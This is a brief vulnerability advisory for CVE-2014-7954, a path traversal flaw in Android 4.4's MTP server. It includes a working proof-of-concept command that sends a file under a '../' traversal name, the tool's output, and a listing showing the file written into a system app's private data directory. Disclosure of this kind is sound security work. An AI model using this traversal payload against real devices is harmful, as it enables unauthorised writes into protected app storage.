MTP path traversal vulnerability in Android 4.4
-----------------------------------------------

doSendObjectInfo() method of the MtpServer class implemented in
frameworks/av/media/mtp/MtpServer.cpp does not validate the name
parameter of the incoming MTP packet at all.

It is possible to upload files outside of the sdcard using a specially
crafted MTP request:

root@testpc:~/mtp-test# ./mtp-mysend sdf.txt \
  ../../../.././../data/data/com.android.providers.media/sdf.txt
libmtp version: 1.1.3

Device 0 (VID=18d1 and PID=4e42) is UNKNOWN.
Please report this VID/PID and the device model to the libmtp
development team
Android device detected, assigning default bug flags
Sending sdf.txt as
../../../../../../data/data/com.android.providers.media/sdf.txt
Sending file...
Progress: 25 of 25 (100%)
New file ID: 203



The file is written by the process com.android.providers.media:

root@grouper:/data/data/com.android.providers.media # ls -la
ls -la
drwxrwx--x u0_a6    u0_a6             2014-07-22 01:06 cache
drwxrwx--x u0_a6    u0_a6             2014-07-22 01:07 databases
lrwxrwxrwx install  install           2014-07-22 01:05 lib ->
/data/app-lib/com.android.providers.media
-rw-rw-r-- u0_a6    media_rw       13 2014-09-24 01:36 sdf.txt
drwxrwx--x u0_a6    u0_a6             2014-07-22 01:06 shared_prefs


Tested on:     Android 4.4.4
Reported on:   2014-09-26
Assigned CVE:  CVE-2014-7954
Discovered by: Imre Rad / Search-Lab Ltd.
               http://www.search-lab.hu
               http://www.securecodingacademy.com/